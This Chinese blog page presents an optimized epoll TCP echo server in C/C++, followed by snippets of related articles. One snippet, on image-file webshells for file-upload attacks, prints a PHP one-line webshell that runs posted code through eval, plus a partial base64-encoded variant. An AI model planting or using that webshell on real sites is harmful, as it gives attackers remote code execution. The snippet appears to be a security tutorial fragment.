上个epoll服务端程序的一点点优化

两点优化:
(1)SOCK_NONBLOCK设置非阻塞代替非阻塞函数。
(2)将监听listenfd 的判断放在了else if(evs[ii].events & (EPOLLIN | EPOLLPRI))下面,因为listenfd的事件一定是读事件。

// 演示采用epoll模型实现网络通讯的服务端#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/fcntl.h>
#include <sys/epoll.h>
#include <netinet/tcp.h>int main (int argc, char *argv[])
{if(argc != 3) {printf("usage:./tcpepoll ip port\nexample:./tcpepoll 192.168.102.131 5085\n\n"); return -1;}int listenfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, IPPROTO_TCP);if(listenfd < 0) {perror("socket() failed"); return -1; };int opt = 1;setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, static_cast<socklen_t>(sizeof opt));setsockopt(listenfd, SOL_SOCKET, TCP_NODELAY, &opt, static_cast<socklen_t>(sizeof opt));setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, &opt, static_cast<socklen_t>(sizeof opt));setsockopt(listenfd, SOL_SOCKET, SO_KEEPALIVE, &opt, static_cast<socklen_t>(sizeof opt));struct sockaddr_in servaddr;servaddr.sin_family = AF_INET;servaddr.sin_addr.s_addr = inet_addr(argv[1]);servaddr.sin_port = htons(atoi(argv[2]));if(bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0) {perror("bind() failed"); close(listenfd); return -1; }if(listen(listenfd, 128) != 0) {perror("listen() failed"); close(listenfd); return -1; };int epollfd = epoll_create(1);struct epoll_event ev;ev.data.fd = listenfd;ev.events = EPOLLIN;epoll_ctl(epollfd, EPOLL_CTL_ADD, listenfd, &ev);struct epoll_event evs[10];while(true){int infds = epoll_wait(epollfd, evs, 10, -1);if(infds < 0) {perror("epoll_wait() failed"); break; }if(infds == 0) {printf("epoll_wait() timeout.\n"); continue; }for(int ii = 0; ii < infds; ii ++ ){if(evs[ii].events & EPOLLRDHUP) // 对方关闭{printf("client(eventfd = %d) disconnected.\n", evs[ii].data.fd); close(evs[ii].data.fd); }else if(evs[ii].events & (EPOLLIN | EPOLLPRI)) // 接收缓冲区中有数据可以读{if(evs[ii].data.fd == listenfd) // 如果是listenfd有事件,表示有新的客户端连上来{struct sockaddr_in clientaddr;socklen_t len = sizeof(clientaddr);int clientfd = accept4(listenfd, (struct sockaddr*)&clientaddr, &len, SOCK_NONBLOCK);printf("accept client (fd = %d, ip = %s, port = %d)ok.\n", clientfd, inet_ntoa(clientaddr.sin_addr), ntohs(clientaddr.sin_port));ev.data.fd = clientfd;ev.events = EPOLLIN | EPOLLET;epoll_ctl(epollfd, EPOLL_CTL_ADD, clientfd, &ev);}else // 如果是客户端连接的fd有事件{char buffer[1024];while(true){bzero(&buffer, sizeof(buffer));ssize_t nread = read(evs[ii].data.fd, buffer, sizeof(buffer));if(nread > 0) {printf("recv(eventfd = %d):%s\n", evs[ii].data.fd, buffer);send(evs[ii].data.fd, buffer, strlen(buffer), 0);}else if(nread == -1 && errno == EINTR) {continue; }else if(nread == -1 && (errno == EAGAIN || errno == EWOULDBLOCK)) {break; }else if(nread == 0){printf("client(eventfd = %d) disconnected.\n", evs[ii].data.fd);close(evs[ii].data.fd); }}}}else if(evs[ii].events & EPOLLOUT) {} // 有数据需要写else // 其他事件都视为错误{printf("client(eventfd = %d) error.\n", evs[ii].data.fd);close(evs[ii].data.fd);}}}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/719953.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker commit构建镜像时环境变量不生效问题解决

描述 当使用 docker commit 命令提交容器镜像时&#xff0c;环境变量的配置并不会自动生效。 原因 这是因为 docker commit 命令只是将容器的当前状态保存为一个新的镜像&#xff0c;并不会修改容器的运行时配置。 甚至在容器修改profile配置文件后进行docker commit都不会…

详解自动化测试框架特点和原理

【软件测试面试突击班】2024吃透软件测试面试最全八股文攻略教程&#xff0c;一周学完让你面试通过率提高90%&#xff01;&#xff08;自动化测试&#xff09; 今天捡一些比较典型的工具型自动化框架来介绍&#xff0c;主要围绕历史、特点和原理来讲解&#xff0c;至于使用教程…

文件上传之图片马

图片马介绍 图片马&#xff1a;就是在正常图片中插入木马。 图片马的制作 1.我们先创建php木马文件1.php&#xff0c;内容有以下两种方式&#xff1a; <?php eval($_POST[a]); ?> /* 常规一句话木马 */ <?php $aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8; $myfile…

MYSQL07高级_Hash结构、平衡二叉树、B树、B+树介绍

文章目录 ①. 全表遍历②. Hash结构③. 平衡二叉搜索树(AVL)④. B树⑤. B树⑥. 时间复杂度 选择的合理性 磁盘的I/O操作次数对索引的使用效率至关重要查找都是索引操作,一般来说索引非常大,尤其是关系型数据库,当数据量比较大的时候,索引的大小有可能几个G甚至更多,为了减少索引…

人工智能编程助手FittenCode和CodeGeex

人工智能编程助手FittenCode和CodeGeex 介绍FittenCode安装使用方法 CodeGeex安装使用方法 介绍 FittenCode和CodeGeex都是代码生成和完成工具&#xff0c;具有自动补充缺失的代码部分、代码翻译、自动生成注释等功能&#xff0c;可以显著提高开发者的工作效率。 FittenCode …

VMwareWorkstation17.0虚拟机安装搭建PcDos2000虚拟机(完整图文详细步骤教程)

VMwareWorkstation17.0虚拟机安装搭建PcDos2000虚拟机&#xff08;完整图文详细步骤教程&#xff09; 一、PcDos20001.PcDos2000简介2.PcDos2000下载 二、创建PcDos2000虚拟机1.新建虚拟机2.类型配置3.类型配置4.选择版本5.命名、存位置6.磁盘容量7.调整虚拟配置7.1 调整虚拟配…

Iceberg Changelog

01 Iceberg Changelog使用 0101 Flink使用 CREATE CATALOG hive_catalog WITH (typeiceberg,catalog-typehive,urithrift://xxxx:19083,clientimecol5,property-version1,warehousehdfs://nameservice/spark );use CATALOG hive_catalog&#xff1b;CREATE TABLE test2( id B…

pytest多重断言插件-pytest-assume

最近准备废弃之前用metersphere做的接口自动化&#xff0c;转战pytest了&#xff0c;先来分享下最近接触到的一个插件&#xff1a;pytest-assume。 在使用这个插件之前&#xff0c;如果一个用例里面有多个断言的话&#xff0c;前面的断言失败了&#xff0c;就不会去执行后面的断…

flutter打包命令

apk Build and release an Android app | FlutterHow to prepare for and release an Android app to the Play store.https://docs.flutter.dev/deployment/android#reviewing-the-gradle-build-configuration flutter build apk --split-per-abi 如果不同cpu架构不打到同一个…

数组初始化(指定下标初始化)

在C语言中&#xff0c;在C99标准之后&#xff0c;就可以使用指定初始化器&#xff08;designated initializers&#xff09;来初始化数组或结构体中特定的元素。指定初始化器在初始化数组时允许显式地指定一个或多个索引及其相应的值&#xff0c;对于未显式初始化的元素&#x…

EI论文部分复现:含VSC-HVDC的交直流系统内点法最优潮流计算Simulink模型!

适用平台&#xff1a;MatlabSimulink&#xff1b;复现内容&#xff1a;VSC-HVDC模型 简介 高压直流传输系统主要包括换流站、输电线路和终端设备&#xff0c;其中换流站起着关键作用&#xff0c;他可以实现交流整流和直流逆变。常见的HVDC系统有全桥式、半桥式和两水平VSC等。…

C语言数组案例编程

1. 编写一个程序实现&#xff1a;从键盘输入15个整数存入数组&#xff0c;然后统计其中正整数的个数。 【要求】采用函数编程 #include<stdio.h> void input(int a[],int n) {int i; for(i0;i<n;i)scanf("%d",&a[i]); }int positiveNum(int a[],int n…

【Golang入门】简介与基本语法学习

概述&#xff1a; Golang&#xff0c;又称Go语言&#xff0c;是一种编译型、并发性强的编程语言&#xff0c;由Google公司的Robert Griesemer、Rob Pike及Ken Thompson于2007年开发。Go语言的设计初衷是为了解决多核处理器、网络系统和大规模代码库带来的开发困难。它提供了出色…

Vue 3 中如何使用 provide 和 inject 实现依赖注入?

在 Vue 3 中&#xff0c;provide 和 inject 是一对用于实现依赖注入的 API。它们提供了一种方式&#xff0c;让祖先组件能够向其所有子孙后代组件注入依赖&#xff0c;而无需通过 props 逐层传递。这在开发大型复杂应用时&#xff0c;尤其是当组件层级较深时&#xff0c;可以极…

【Kotlin学习路线】讲解

Kotlin学习路线 1. Kotlin介绍2. 入门阶段3. 进阶阶段4. 实战阶段5. 持续学习与专业提升 1. Kotlin介绍 Kotlin 是一种静态类型编程语言&#xff0c;运行在 Java 虚拟机上&#xff0c;并可以交互使用 Java 代码&#xff0c;它由 JetBrains 公司于2011年首次推出&#xff0c;后…

基于springboot+vue的社区智慧养老监护管理平台

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

Apache Calcite 快速入门指南

Apache Calcite 快速入门指南 参考地址&#xff1a;Apache Calcite 快速入门指南 - 知乎 Apache Calcite 是一个动态数据管理框架&#xff0c;提供了&#xff1a;SQL 解析、SQL 校验、SQL 查询优化、SQL 生成以及数据连接查询等典型数据库管理功能。Calcite 的目标是 One Size …

python第二十节闭包函数与装饰器

闭包函数与装饰器 闭包函数闭包的构成条件闭包如何理解 装饰器函数装饰器一函数装饰器二类装饰器一类装饰器二 闭包函数 闭包的构成条件 在函数嵌套&#xff08;函数里面再定义函数&#xff09;的前提下内部函数使用了外部函数的变量&#xff08;参数&#xff09;外部函数的返…

C++/Qt 元类型——枚举 序列化与反序列化

/*** brief 枚举转字符串* tparam T 枚举类型* param s 枚举类型变量* return 字符串*/ template <typename T> inline QString EnumToString(T s) {// T是枚举类型&#xff0c;编译判断static_assert(std::is_enum<T>::value, "T must be an enum type"…

Android logcat系统

一 .logcat命令介绍 android log系统: logcat介绍 : logcat是android中的一个命令行工具&#xff0c;可以用于得到程序的log信息. 二.C/Clogcat访问接口 Android系统中的C/C日志接口是通过宏来使用的。在system/core/include/android/log.h定义了日志的级别&#xff1a; /…